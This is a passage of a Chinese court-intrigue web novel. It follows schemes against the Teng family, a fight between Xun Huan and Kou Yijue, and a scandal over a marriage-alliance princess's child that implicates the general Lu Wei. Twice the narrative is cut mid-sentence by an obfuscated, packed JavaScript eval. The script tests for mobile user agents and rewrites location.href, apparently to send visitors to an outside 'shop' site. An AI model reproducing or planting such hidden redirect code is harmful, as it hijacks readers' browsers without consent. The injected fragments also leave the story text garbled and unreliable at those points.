柳曦既顺着梅如故的意思,与之对坐。他并不端茶,也不与之对视,只看着木几案板上的几道浅浅的剐蹭痕迹问:“又有何事?” 梅如故笑道:“柳大人果然通透,上回弹劾郑藩虢以狄养兵并不完全算我托你办事,所以你欠我的这个人情还没还够。” 柳曦既喝一口茶。 “你也早就听说了,义律大妃怀了身孕,算起来现已有七个多月,圣上很高兴,连带着后宫里赵王的生母也重掌尊荣,离皇后之位只差临门一脚。这么一算,郑藩虢告老,魏王败了一局,赵王损了张家体面,却用义律大妃肚子里这一胎功过相抵,现在寇氏得意,寇家还要和永定侯联姻,这一役最终还是大获全胜。” 柳曦既道:“你想收拾滕家。” 梅如故笑出声:“你果然最懂我。” 柳曦既垂眸掩睫,并不接话。 梅如故也不管柳曦既神色里的冷淡,颇有兴致地说:“把柄我都找好了。去年收拾鄢汝言,连带着苏德惜一家也翻了塘,鲁国长公主按圣上的意思要从苏家兼并的田亩里掀起一案,却被赵王派搅和了。同时,浙江改稻为桑的风浪也莫名其妙被压了下去,圣上的这一盘棋都废了,心里正窝火着,这正是出手的好时候。” “你想让察院上书弹劾永定侯私圈子粒田大肆敛财。” “不错。圣上给他们封侯,没有直接赏赐土地,只是圈了子粒田的份额,让这一部分田产免于赋税,但究竟是哪一部分,户部并不清楚,圣上不明示,他们也不敢过于清楚。滕家人聪明,就把原本集中在一处的子粒田分撒出去,江南、江西、淮海、山东,京畿之外各处富庶州县都有飞撒,户部不管,当地官府不敢,便只能仍由其胡乱填报,以至于仅江西道临川府一地他们家就有千亩良田不纳赋税。” 柳曦既微一摇头:“这不够。” 梅如故一笑:“确实,光靠这个就想扳倒他们根本不够。子粒田不纳赋税,但一州一县要上缴户部的赋税定额不会减少,滕家不交的钱就要平摊到百姓头上,地力有限而追逼无限,百姓要么卖身为佃,要么自愿赠田、给滕家缴税,虽然与佃户没什么区别,都是在与朝廷争财,但滕家定的赋额比朝廷低,揽尽民心只是时间问题,何况他们军功起家,在行伍里颇有声望,又要钱、又有兵,还要民心,定他们一个意欲谋反不为过吧?” 柳曦既依然道:“这不够。” 梅如故笑出几分悚然:“但现在滕家要与寇家联姻,这就够了。收拾滕家的本质是杀鸡儆猴,是让那些门阀大族乖乖听话,同时又平衡了双王党争的局面,圣上早就想杀人,只是苦于无人给他递刀。你都察院又何妨当一次白刃呢?上回得罪魏王,这次再得罪赵王,正好显得你们御史刚正无私、一心为君。” 柳曦既阖眼,片刻他睁开眼睛起身,“君恩淡薄,天意难测,梅如故,你早点收手吧。” 梅如故盘腿坐着,出声喊住他:“柳曦既,我若劝你收手,你会收吗?” 柳曦既不答,只推门走入夜色。 ** 一挑开帘子,檐下挂着的一对翠蓝羽的鹦鹉就齐声叫了起来:“哥哥,哥哥!” 郇寰被吓了一跳,赵王“哈哈”讪笑,拉着郇寰绕开这对活祖宗:“长英的宠儿,一只叫红胜火,一只叫绿如蓝,早上挂我这儿的,那叫一个聒噪。前些天她一直问阿柔什么是纺车、什么是织机,难缠,今天得空她们姑嫂就出门体察民情去了。” 郇寰无奈一笑,正见前方回廊转角冲出了寇一爵的身影,大步流星地朝他们这里奔来,隔着老远就能感受到他身上喷薄着的怒火,赵王刚要出声一拦,就见一个拳头飞了过来,郇寰闪身一躲,但顾及着廊道狭小、施展不开,寇一爵的拳头便擦着他的肩膀划了过去。 “郇寰你混蛋!” 郇寰的左肩在岭南时受过伤,哪怕多年过去皮肉已经养好,但寇一爵这一拳头来势汹汹,还是把他砸得倒吸一口凉气。 赵王浑身一震,连忙上来劝架,但他根本不敢近身,甫一近身便不慎绊倒了正四处躲避着的郇寰,郇寰的脚一勾,把张牙舞爪的寇一爵也一起带到了地上。寇一爵爆喊一声,骑上郇寰,雨点般的拳头就要招呼上脸,可快要碰上郇寰脸颊时又被郇寰手上的力道逼得转弯,最终砸在了郇寰的肩膀。 “寇一爵!你住手!来人!快给我来人!” 郇寰也被激怒了,猛地一推寇一爵,翻身把他掀在了地上,只听一声脆响,寇一爵的左手刚一撑地,他整张脸就被骨头断裂的剧痛刺激得五官挪位。 赵王拉起郇寰,一旁赶来的王府护卫则扶起赤红双眼的寇一爵,寇一爵坐在阑干上咬牙切齿再骂了一声:“混蛋!” “你才混蛋!”郇寰轻拂开赵王的手,一甩袖子讥讽问:“你背地里是怎么阴我的?嗯?现在是滕家找你退的婚,又想将这一桩也算到我头上?” “若非你和滕文慧乱说!” 郇寰冷笑:“用你的话来说,她不过一个女人。要和你退婚的是永定侯!右副都御史裴继登当廷弹劾!子粒田的事情闹得人尽皆知!永定侯一家子自身难保!他们动脑子想一想就知道是因为要你寇家联姻,这才被魏王算计上了。寇一爵,你是脑子被驴踢过了么,来找我的麻烦来找死!” 寇一爵狂笑:“是谁的脑子被驴踢了?滕家就是因为子粒田的把柄捏在都察院手里,这才找上我们要求王府的庇佑!魏王何时不能算计?这裴暄就是他的人!裴丰息敢打我的脸也是魏王授意!等我们两家变一家,这子粒田的事情还可以栽在寇家的头上,他们是没脑子要现在动手打草惊蛇?你和什么女人不能说话?你和女人不能说什么话?你心里没点数吗!让滕家对我起疑是自毁长城,出来事情他们更该一条路走到黑,怎么会想到与我退婚!郇寰你的脑子才被驴踢了吧!” “原来如此。”郇寰嗤笑:“原来你是因为被人退婚丢脸才来没事找 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心里烦乱至极,郇寰也不忍了,任由自己的火气脱缰:“这种话不和她说,我难道和你去说?这样的大事,是我一句话就能决定的吗!寇一爵,看来你是故意闹的,想让我来给你的失败洗地!真不愧是你们寇家人,商人本色,什么都要利用,也是我高看我自己了,原来我在你们眼里亦不过一件工具!” 赵王想到“鸟尽弓藏,兔死狗烹”这几个字时,背上一个激灵,终于知道了事情的严重,可他来不及开口,郇寰就又逼近一步,“宫里宫外,无论是苏家还是皇后,说杀就杀,说毁就毁,信义道义全是放屁!从根本来说,你和那些被你蔑视的女人有什么区别?你觉得她们癫狂愚笨、恃强凌弱、眼孔浅显、只知情爱不知恩义,说什么一介女流,张口闭口就是生当如此给你做牛做马,能成为你结党营私、发泄私欲的工具是福气。可生你养你、给你赚名赚利不都是女人!你的妻妾是女人,你的母亲是女人,你的姑姑不也是女人!刻薄寡恩、恃强凌弱、唯利是图,说的不也就是你?你和她们有什么区别?她们是女人,祸害也只在一家之内,可你呢,无所畏惧,他日岂不是连弑君弑父的大逆不道之事都做的出来?” 赵王听不下去了,连忙挡在了他们两人之间,在寇一爵的大骂声里,半推半抱地将郇寰从寇一爵眼前拦到了回廊拐角,“海山,他有什么地方说得混账,我也只能请你包涵了,你也知道他的性子,若不是顾念母妃的面子,我也断不会容许他这么放肆。但放肆的人、糊涂的人只有他一个人,我、母妃、寇家耆老、乃至于齐家他们,都绝对没有对你有过半分怀疑,对你也绝不是利用。海山——” 郇寰不得已抬眼看他,退后一步,拱手用一礼隔开距离,“臣心里都知道,方才不过一时气话,冒犯了王爷,还望恕罪。” 赵王无奈长叹:“海山,我的话是真的,我的心也是真的。” “臣知道王爷的心真,臣亦绝无二心。” 赵王阖眼叹息,忽听郇寰道:“长英公主和他很亲近吗?” “怎么了?”赵王立时警觉起来。 郇寰轻哼:“没什么,只是当日在双塔寺遇见滕家娘子时,身边只有长英公主。” 赵王连忙解释:“海山,长英还是个孩子,她断然不会有这些害人的心思,必然是寇一爵事事过问,自己在胡思乱想。” “臣并无此意,王爷误会了。” 赵王略微松了一口气,“我知道。” “时辰不早,臣便告退了。” 赵王本想留他吃饭,一想到还有个发癫的寇一爵要处理,只觉得头疼,便不再挽留。 郇寰回到襄阳侯府时,夜色已经十分浓稠。从偏门入府时,站在后花园缘墙的长廊里,他只觉纵横左右的路无比陌生。他是这座侯府完全的主宰,可他不住正屋,也不常用大书房,以前住的屋子也给了郇七郎,他就像个客人一样睡在厢房,在厢房边上另辟一间屋子办公。 他的影子笼不尽眼前的花鸟树木,侯府的影子却完全压在他的身上。 这是他十岁以前就跑遍了觉得无聊透顶的地方,现在郇寰却觉得,物是人非让他根本透不过气。 冬至随他慢慢走在黑夜里。 右手边的假山造景里流出几点人声。 58. 第五十八章 倒霉催 “嗳,太夫人的病真是越来越严重了,最近连床都下不了。” “是啊,太夫人是这么好的人,老天怎么就这么薄情,要这样折磨她?” “唉,如果太夫人没了,公主不回侯府,真不知道侯府要是什么光景,侯爷也真是狠心,太夫人好歹是他的嫡母,操持上下这些年,他也不闻不问。” “这我倒是听说一些。太夫人也就比侯爷大三岁,嫁来的第二年就生了龙凤胎,人人都夸有福气。那时候家里就只有侯爷还有三姑娘,但侯爷少年时浪荡纨绔,好几次把把老侯爷气得吐血,太夫人心善,要调和他们父子的关系,还要操劳家务,便在生产时留下了病根。可侯爷年轻,听了一些小人的谗言,说太夫人是在装慈爱,是要谋夺他的世子位,一怒之下离家出走,以读书考科举的名义住到了兰陵萧氏。” “啊!”那个婢女惊讶万分:“你说的小人,不会是先萧太夫人留下的人吧?我说怎么侯府里一个萧家人也没有……” “你是不知道,萧家和柳家互相记恨呢。” “他们有世仇?” “这倒没有,这河东柳氏都败落成那个样子了,天元年间还跟着继后迫害过圣上,圣上宽仁,没有抄家灭族,他们现在只能卖女求荣,不然太夫人是他们长房嫡女,如何会进咱们这样被别人说是暴发户的侯门当续弦?这萧太夫人走了,萧家有想过再嫁一个萧氏女来稳住关系,结果被柳氏抢了先,后来侯爷南下,爵位旁落,萧家能不记恨柳家坏事?” “看来侯爷还在记恨太夫人。” “是啊,侯爷对这位嫡母不上心,公主就更不用说了,可怜七少爷和八姑娘这么小,若是没了母亲,那该如何是好?” 冬至听得越来越心惊,本想出去揪出这两个长舌妇,却被郇寰拦了下来,只能满头是汗地同郇寰一起听这些闲话。忽然,一阵草木细簌,假山那头传来了一声怒斥:“你们在嚼谁舌根!” 郇寰立即回神,抬步走出长廊,直奔着声源走去。 沈明枳止住月珰,“太夫人卧病,管不了事,你让人查清她们的籍册,让人和驸马说一声,好歹是他家的人,由他来处置。” 月珰应下,抬头就见郇寰立在不远,正面色阴沉地看着跪在地上的两个婢女,“太夫人院里的人,知道的不少,冬至,把人捆了先送到管家那里,领了家法再说。” 说完,郇寰抬步走到沈明枳身边,温和下声音,隔着袖子牵起沈明枳的手:“我们回去吧。” 走上了长廊,沈明枳这才收回手:“私杀奴仆犯律。” “我知道,我不会打死她们的。” 夜里起风,沈明枳穿得单薄,只觉得脊背一凉,连忙加紧脚步,不妨下台阶时猛然打了一个喷嚏,没看准脚下,一个踉跄就要摔下去。郇寰连忙展臂一捞,登时感受到左肩上的钝痛,他将沈明枳扶正,等她稳妥站在了石子路上,这才收回手。 他这极其轻微的嘶痛在宁静的夜里无比清晰,沈明枳皱眉:“你受伤了?” 就着月色,郇寰看见沈明枳常年枯井无澜的眼里终于漾起了一丝涟漪,脑中不知起了什么念头,便轻声应道:“一点点小伤。” 沈明枳顺着他的手,看了一眼他的左肩,淡淡嘱咐:“哦,以后当心,一会儿我让月珰给你拿药。” 说着,她转身就要走,走了两步发现郇寰没跟上来,奇怪地扭头看他。郇寰这才慢吞吞走了过来,“冬至和郇杭都有事,一会儿上药,臣想麻烦殿下,顺便说点事情。” 沈明枳只能将已经堵在喉咙的搪塞咽下去,应了一声。 ** 沈明枳在门口听月珰说完了公主府里的琐事,方才关上门,门关上的瞬间,郇寰的声音就响在身后:“作为继母,她对我不错。” 此话一落,便是悉悉索索解衣带的响动。 沈明转过身,就站在门边,看着郇寰坐在临窗矮榻上,慢慢将腰带解开。 “她对我慈爱,并不是天性如此。河东柳氏的那些事情殿下也听过吧。” 他将腰带整齐摆在了小几上,开始解外袍的暗扣。 “柳家站错队是近来的事,但他们会站错,不是巧合。那时候还没有大楚,连年战乱,小民破家、大室亡族,再加上另外一些原因,河东柳氏里脱出了一支,南下迁徙到了杭州,积年累月,代代相序,老死不相往来。后来,到了天元一朝,这一支柳氏出了一位状元郎柳初服柳济道,入了菁明书院、再出任户科给事中、常常被先帝召见御前应对,前途无量。” 言及此处,郇寰手上脱外袍的动作一顿,“柳家当时出了一位户部尚书,一位都御史,一位礼部侍郎,慈宁宫住着先帝的生母柳太后,还尚了主,便是韦家有两位皇后,举目朝野也找不出第二个比他们还要煊赫的世家门阀。” 这是沈明枳也难以想象的存在。 郇寰将外袍褪至腰间,开始解第二件衣裳,“他们瞧不起柳初服,但并不动他,只是后来,他们跟了继后,柳初服跟了圣上,那年立储,柳家便把他逐出京师,放言永不续用。然后就是柳初服连中三元的儿子柳曦既,不过这时柳家已经是秋后的蚂蚱,甚至连蹦跶都不敢了,但他们敢在御史柳晢变成左都御史柳曦既后,找上门去。他们确实能屈能伸、能荣能辱、能人能鬼,谦卑到令人作呕,但他们什么好处也没捞到。” 第二件衣裳也堆在了腰间,雪白的中衣在烛光下亮得刺眼,“她比谁都更渴望得到爵位,得到权势地位,所以她如果算计我,我并不会意外。” 中衣无扣可解,郇寰抬头望着门边的沈明枳,“但她没有,我特别意外。” 沈明枳走了过来,在立桌上的清水里净过手,在整齐叠在水盆旁的白叠布上擦过手,这才走到郇寰身前,“为什么?” 郇寰并未直接回答,“离家出走与爵位之争没有关系,包括后来,我自求外放也与爵位没有关系,我搬出侯府另辟住处亦与此无关。” 沈明枳的指尖已经触上了衣领,郇寰一垂眼就看见了她手背上几颗没有擦干的水珠,他喉头一动,继续道:“我这一走,没有人高兴,除了外祖母,萧家其他人也担心爵位旁落,故而我在兰陵过得很尴尬。唯一让所有人都开心的,大概是我一步步过了院试、乡试、会试,后来成了天子门生。也只有这件事,值得他们高兴了。” 衣衫褪去,沈明枳这才看见郇寰的左肩已经紫了,她离得近,一眼就看见紫色的淤肿下还有重新长好的箭伤。她想到了苏霄,抬头时正好对上郇寰的目光,黑沉沉,像是一道不见底的深渊,又像是一道横断大地的天裂。 “今天见了寇一爵。” 沈明枳移开视线,侧过身去取小几上的膏药,“被他打的?” “他骨折了。” 两人俱是一哂。 沈明枳两指一并抹了瓶中膏药,撩起袖子,化在他的肩膀上,忽然手背被郇寰按住,他道:“用点力。” 沈明枳按了上去,但郇寰的手并没有放下,仍然握着她的手,肌肤相贴之处,两人都有点发汗。 “其实你可以自己涂。” 郇寰刚一张嘴,就听门板被人拍响,“主子!出大事了!” 沈明枳转身道:“进来。” 月珰拦都拦不住,迟疑了一瞬的冬至还是推开了门,就见脸色阴翳的郇寰坐在矮榻上赤裸着上身,而沈明枳站在他身前,一只手被他紧紧攥在手里。明白人都看得出贸然打扰的人会死得多惨,但冬至一咬牙一横心,一幅俨然赴死的姿态:“主子,方才赵王府派人来追,说是长宁公主生了!还不算早产!” 郇寰这才松了手,沈明枳却被惊懵了。 去年十月末和亲队伍出发,冬月初抵达义律王廷完婚,然后今年八月长宁就生了?她只道坊间流言不实,原来和亲路上真可能发生了不得了的事情。 弹指之间,郇寰想起了吃过熊心豹子胆的郑弛孺! 一念过后,郇寰和沈明枳都不寒而栗——西北来之不易的安宁。 赵王的消息只比大街小巷的流言蜚语快了一个晚上,第二天天刚大亮,沈明枳正打算与郇寰一起入宫,如同从水里捞出来的临川就出现在了门口:“娴儿!” “你怎么回来了?不是说过年了再回吗?” 临川一把扣住沈明枳的手腕,气得发疯:“还不是长宁!” 沈明枳觉不出手腕上疼,只严肃问:“你这么快就知道了?” “我还知道传言中的那个奸夫陆将军连夜出关了!” “陆微?” 见沈明枳不敢置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187885|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,临川气得更厉害了:“他们都说陆微就是奸夫,长宁早产他可不得去看看!一个人也没带,掩人耳目地出关,这不就是有奸情吗!” “如果是这样,事情怎么会这么快捅出来!” “有人要害他!”临川气得发抖:“该死,长宁不是喜欢郇海山吗,怎么会盯上陆微?莘莘以前就很喜欢陆微,这让她知道了岂不要翻天?” 见临川不开窍,沈明枳深吸一口气,“不是长宁!出了事情头一个遭殃的就是她,她不会这么蠢,陆微也不蠢。” “那还有谁要整他?谁还会去整他?他是东北宣州人,贫苦出身,是亲自上战场搏的功业,也从不去得罪任何人,他也谁都不靠,是,东宫曾举荐过他,陆微是承过太子恩情,但太子推荐的人多了去了,这又是多少年前的老黄历,谁会为此收拾他?” “郑藩虢。” 听沈明枳嗓音颤抖,临川这才知道什么叫“倒霉到家了”。 猛然间,沈明枳四肢冰凉,她一把拽住临川逼问:“不对,你怎么这么快就回来了?我昨夜才知道长宁生产,你在江西道,你怎么也会知道!” “这都是七八天前的事了!且我当时不在江西,一接到消息,说是长宁生了,我就立刻动身回京。” 沈明枳一怔:“你七八天前就知道了?” 这一问,她这才想到了关键:“就算是驰传八百里加急,从化隆到西北长关不过两千里,邸报移文一应函件不过两天半就到了,可你不在化隆却比我早七八天知道消息——临川,当时你听到的是什么消息?有没有说陆微出关?你从哪听到的消息?” 临川恍然:“当时我只听说长宁生了,我今天进京才知道陆微的事情!” “你怎么知道的?” 临川欲言又止,被沈明枳眼神一逼,终于败下阵来:“你知道凌云重被派到西北了吗?圣上早派了一对锦麟卫跟着使臣北上,六月份时肖老贼把他派了出去,我派人盯着他,自然就知道了。” 沈明枳又是一怔,旋即爆发出来:“你说凌云重?锦麟卫居然这么早就知道了!” “圣上还不知道?” 沈明枳彻底阴沉下来。 临川慌了:“坏了,锦麟卫叛变了!好好的,肖老贼为什么要在六月把自己的心腹凌云重派出去?六月,若真是在北上时珠胎暗结,这么一算,那时候的肚子就要有八个月了,肖老贼这才让凌云重北上一探究竟,可他居然瞒着不告诉圣上!可他为什么要瞒着圣上?” “因为他也掺和了党争。” 如同一道惊雷滚过,临川浑身一抖,面色霎时惨白,喃喃自语:“这藏得太深了。” 太恐怖了。 “不对,他为什么要帮郑藩虢?他为什么要帮魏王?魏王登基,按照惯例,他也当不了锦麟卫指挥使的!他所有的荣耀权势都只在这个位子上!他安安分分等到告老,这一辈子的荣华富贵就保住了,为什么要孤注一掷?难道魏王手中捏了他的把柄?” 沈明枳眼神一冽。 ** 窦宇从宫里赶回来时,发现自家马房里停兖国公主的马车,眼皮一跳。 他一视同仁地讨厌所有女人,尤其是赵王妃窦晴柔。虽然这个兖国公主在南海道时让他大开眼界、他们老早就认识了、她和自己的哥哥交情匪浅,但这并不意味着他不会讨厌她。 窦宇奔到了窦宙的书房窗下,就见小厮和侍女都站在门外,眼观鼻鼻观心,内心开始光火。 “小少爷。”长随不悔拦了一拦。 窦宇沉声道:“我有要事。” 不悔和月珰对视一眼,仍不放行,却听书房里窦宙高声说:“让他进来。” 窦宇轻轻“哼”了一声,越过两人推开房门。一进门,顶着窦宙的警告,他给沈明枳规规矩矩地行礼,随即听窦宙问:“宫里怎么样,圣上也是才知道的?” “嗯,圣上知道了很生气,已经拟旨,准备将靖臣将军陆微降为靖节都督,并命锦麟卫押解回京。” 窦宙凝重:“国朝有制,封疆大吏必须回京受审,且可免死。殿下处置王叔远时也是借了圣旨先降了他封疆大吏的职,如果陆微真降成了靖节都督,等不到三司会审与秋后问斩,他随便死在路上朝廷也不会多加追究。” 59. 第五十九章 打七寸 沈明枳问道:“卸了陆微的兵权,那要由谁来接任?” 窦宇望着窦宙,“他的副官郑弛孺。” “果然。” “不对。”窦宙再问:“还有个校尉卢汴是他的副官,主将出了事情,兵权理应由卢汴和郑弛孺一起暂管。” 窦宇道:“卢校尉被郑弛孺关了起来,说他是陆将军的爪牙,常为陆将军掩护,颇有嫌疑,不宜染指兵权,所以现在郑弛孺已经拿到了中军大权,打算再用通敌叛国罪砍了卢汴。不过好在锦麟卫指挥副使凌云重拦住了,有他看着卢汴还算安全。现在我的人也早在去西北的路上,应该很快就能到了。” 窦宙与沈明枳对视一眼,窦宙问:“你怎么知道这些?” “凌云重派人给我递的消息。还有,我出宫时听说,刚一下朝,郑家和韦家的奏疏就递了进去,现在应该已经批下来了。哦对了——”窦宇又瞥了一眼沈明枳,有点沾沾自喜地继续说:“哥,你当年一直在找的人我找到了,到时候我让阴阳卫顺便护送回京了。” 窦宙默然一瞬问:“凌云重为何要给你递信?” 窦宇仰头想了想,想不出个所以然,“上三卫互通有无也是常有,且一条消息害不了我,是真是假我一验便知,他顶风给我漏信只会给自己找麻烦。” 沈明枳看向窦宙:“他的举动很不寻常。” 窦宙的神色更加凝重。 “阿宇,你知道肖执真与魏王派有什么往来吗?” “没有往来,他和哪个王爷都没有往来。”窦宇答得斩钉截铁。 “这里面必然有事,肖执真要制死陆微,凌云重却又像在救陆微,可凌云重是肖执真的心腹,没道理背叛他。” 窦宇不悦,不耐烦地皱起一对如利剑般直入鬓角的眉毛,“公主是什么意思?” “现在朝廷与义律休战,窦将军丁忧,四边守将各司其职,无法轻易调动,如果陆微落败,不想重燃战火朝廷就要向荥阳郑氏低头,一个三边都督又或许一个靖臣将军的官衔,不论给哪个,不过是公然认可已经攫取中军大权的郑弛孺又粉碎了朝廷的威严。义律世子与郑弛孺交好,便是义律想再向大楚索贡,就算是再要一个和亲公主,也不是不行。他们失去一个年老的郑藩虢,却有了兵权和义律的支持,这不是东山再起,而是割据一方无所不能。” “公主到底是什么意思?” “陆微绝对不能败。” 窦宙道:“对,就算不为了党争,他也不能落败。” 他是草莽之中、阡陌之间平白蹦出的一个将才。当年太子就曾赞过他,说他鼓舞了底层兵卒的士气,也调和了世家和寒门的关系,着实是前途无量的新星。 这颗星,怎能陨落? “窦指挥使,劳你多打听长宁公主。” 窦宇回神:“是啊,如果奸夫根本不是陆微,这一局就不攻自破了!而且出了这样的事情,大楚理亏,朝廷和赵王只想着息事宁人,没有人会为和亲公主出头,她就算要拉一个垫背的一起死,总也不至于冤枉无辜。可是——” 沈明枳和窦宙看过来。 “可是关于和亲公主,凌云重什么也没说。再等等吧,阴阳卫很快就到了……” 沈明枳敛容:“那现在就要想办法稳住朝廷,不能再让他们挑事了。” 沈明枳回侯府时,郇寰已经等在了小书房。他坐在书案前,手上还握着笔,听见门开后,只匆匆抬头看了一眼,便垂下睫盖住眼底的情绪,边写边道:“殿下想救陆微。” “是,他对我有恩。” “他没有救。” “事在人为。” 郇寰搁笔,“殿下已经想好怎么做了?” 沈明枳走到他身前,“如果赵王愿意帮忙的话。” 郇寰摇头。 沈明枳冷笑:“不是帮我,是帮他们自己。陆微败了会有什么下场,你最清楚不过,他做什么不愿答应?怕麻烦?那是他的亲妹妹,现在却不想救她?还是从来没想过要去救她?” “自作孽。” “我一个厌恶她的外人在想她另有隐情,她的亲人却只想让她死。” “殿下只是想救陆微。” 沈明枳凝视郇寰三瞬,方才轻笑:“是,我只想救陆微,赵王只想着息事宁人,而你,只想着太夫人不要病逝、你不用丁忧。” 郇寰的呼吸一窒,仿佛有一只手突然捏住了他的心脏。他喘不过气,一直等沈明枳甩手走了,他浮在虚空的视线在落在了纸上最后那几个颤抖的字。 他露陷了。 郇寰将那张已经快写到尾声的信纸撕碎,这才稳住心神重新写了一封。他盯着这封信有些出神,等到月落参横,冬至挑灯走了进来,他才看清封皮上工整地写着“江南道按察使胡全德亲启”。 这是他第一次彻彻底底地违逆赵王。 这个口子一开,郇寰不敢妄想将来。 ** 沈明枳做了一个梦。 这是一个不见天日的大雪天,她来到了义律的草原。巫师暴突出来的眼睛黏在她的身上,让她既恐惧又恶心。然后巫师说,她不祥,她肮脏。她给草原带来了恐怖的风雪,所以说她不祥;她已非完璧之身,所以说她肮脏。 她不信鬼神,因为大姐姐重塑过双塔寺的佛像只为求得齐珏的真心最终却被抛弃,人说心诚则灵,但她笃定事在人为。 她从没见过雪夜的草原,远方矗立着长风关,关隘上点满了火烛,好像将铁板似的苍穹烧穿了一个个窟窿。光从这些窟窿里漏了下来,风也从中卷了进来,刮得她浑身都疼、到处都冷,可这样绝望的一场夜奔,却让她凝固多年的血液再度沸腾。 她仿佛知道长风关上站着自己日思夜想的人,仿佛旷野黑夜,城墙上的人也能一眼看见奔跑着的自己。 她们依然心心相印。 “咻——” “砰!” 沈明枳睁开眼,捂着自己的心口无声流泪。 第十天,陆微该回来了。 沈明枳平复心情,叫来了月珰。 “锦麟卫押囚大概午后才会进城。” 沈明枳坐起,“还没有长宁的消息吗?” 月珰挂起帘子,“是,窦将军传信说,可能还藏在王庭吧,阴阳卫把能翻的地方都翻遍了。对了,殿下,奴听说昨夜介御史家里遭了贼。” 沈明枳拧眉:“他敢弹劾魏王仿冒贡品拉拢人心,就要做好全家上下被人报复的准备。” “介御史勇气可嘉。” “没出事吧?” “没有,说是昨夜秦王殿下酒醉夜归,回王府刚好要经过介御史家附近那条街,秦王的护卫便擒拿了盗贼,直接押到了京兆府。” 沈明枳轻笑:“一会儿辛莘要来,帮我好好收拾吧。” ** “怎么了?” 辛莘怅然若失:“方才我特意去看了他。” 沈明枳放下茶盏,“他怎么样?” 辛莘苦笑,“凌云重没有为难他,没有囚车也没有镣铐,还让他素服骑在马上。一个半月的路程,他就赶了十天,再俊俏的脸也忍不住憔悴……鹇儿,我谢谢你。” “为何要谢我?你该去谢凌云重。” 辛莘摇头:“鹇儿,这个案子是你和临川一起做的吧,就是为了给他转移注意,以防他们在路上弄死他。” “你看出来了。” “我猜的。” 沈明枳垂眼,“你怎么猜的。” 辛莘深吸一口气,“临川府的富商到京城查账,结果在自家的典当铺子里看见一只价值连城的漉水红瓷梅瓶,忽然就想到在临川府时,郡主在孝期大摆筵席,席间说到了当时的漉水瓷厂爆炸案,就扯到了漉水出产的瓷器多么多么好,圣上还曾赏赐给魏王一只红瓷梅瓶,给赵王一只青瓷梅瓶,她喜欢得不得了却四处搜罗不到。荒唐啊——” 她的声音有点虚弱,沈明枳起身把敞开的窗都关了起来。 “鹇儿,我又不是弱不禁风的,不必关窗的。” “你继续说。” 辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14222878|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莘望着沈明枳的背影,“临川要什么得不到,犯得着向一个无名无姓的商贾索贿?且漉水案发生时不是国丧,她也不在临川府,便是后来,有鲁国长公主看着,她怎敢逾制挥霍?这已经荒唐了,还有更荒唐的,那富商搜罗了各种瓶子要去献宝,结果郡主走了,他很憋屈,在化隆看见这只瓶子时更憋屈了,在极乐坊胡吃海喝,酒过三巡,就对着酒友把所有的事情都吐了出来。化隆城的每堵墙都长了十万八千只耳朵,然后事情就被捅到了察院,介含清不怕死,即刻就上了奏疏弹劾临川郡主犯律,折子还没批下,又弹劾起了魏王。鹇儿,临川被斥责,可事情也捅到了朝廷,郇海山没有为难你吗?” 沈明枳背对着她笑:“他为何会为难我?” “江南按察使胡全德提前入京准备述职,听到了风声就给圣上上了奏疏,说漉水赝品之事从查抄苏家后,便由他全权经手督办,只可惜一直没有很大的进展,故而没有上报朝廷。但他将自己的功劳一表,说是在苏家抄出来一只赝品,正是漉水出产,他顺藤摸瓜查到这些赝品有一条销赃渠道是通往南海道的,圣上便特意下了奏疏嘉奖他,但郇海山就被骂了,御史都说他与苏家别有交易,帮苏家按下这样的僭越大案是徇私枉法。” 沈明枳转身笑看她:“可苏家被抄了,还是赵王派挑起的事端。” 辛莘不懂:“怎么了?” 沈明枳摇摇头:“复杂的我就不说了,你只需知道,他表面上被骂了,实际上得了褒奖,因为圣上这才知道他明事理,南下处理爆炸案没有火急火燎地闹翻天,后来苏家倒台,他是替别人背锅。” “但愿是这样。” “就是这样。”沈明枳走到她身边,重新坐了下来,“除此之外,圣上命人重翻旧册,发现升平元年,宫里的确赏了魏王一只红瓷梅瓶,但根本不是漉水产的。这时有人说,曾在户部尚书邹秉童府上见过一只形制相似的瓶子,听府上邹十二娘说,那就是贡品,邹十二娘的这句话可有不少贵女能够作证。恰此时,一心想要出头的胡全德将收缴来的漉水瓷窑匠人手稿呈上龙案,的确有一只红瓷梅瓶被人仿冒了,圣上火冒三丈,但他气的不是这个,而是那些手稿中有不少是天元宫中的旧物。” 辛莘一惊:“这可是天子逆鳞!” 沈明枳拨弄起茶中浮沫,一副漫不经心的样子。 “鹇儿,这是玩火!” 沈明枳抬眼,目光森森然:“我不是玩火。” 辛莘一拍大腿,“原来你只是在拱火!也难怪,邹秉童那里真有这么一只瓶子吗?就算曾经有,现在还能有么?魏王仿造了这么多贡品,唯一能拿出实证指认的只有已经见了阎王的苏家!可有了苏家就坐实了魏王用赝品结党营私,且他还敢仿天元旧物,这下就算不去指认,他也说不清楚。你就是随便抛出了质疑,然后逼他们去自证清白!邹秉童只是因为嫌疑,就被圣上停朝罚俸,魏王更脱不了身,连带着郑家等也腾不出手处理陆微,就连他们提出的指控在圣上心里都要起疑。” 见辛莘明白了,沈明枳便不再说话。 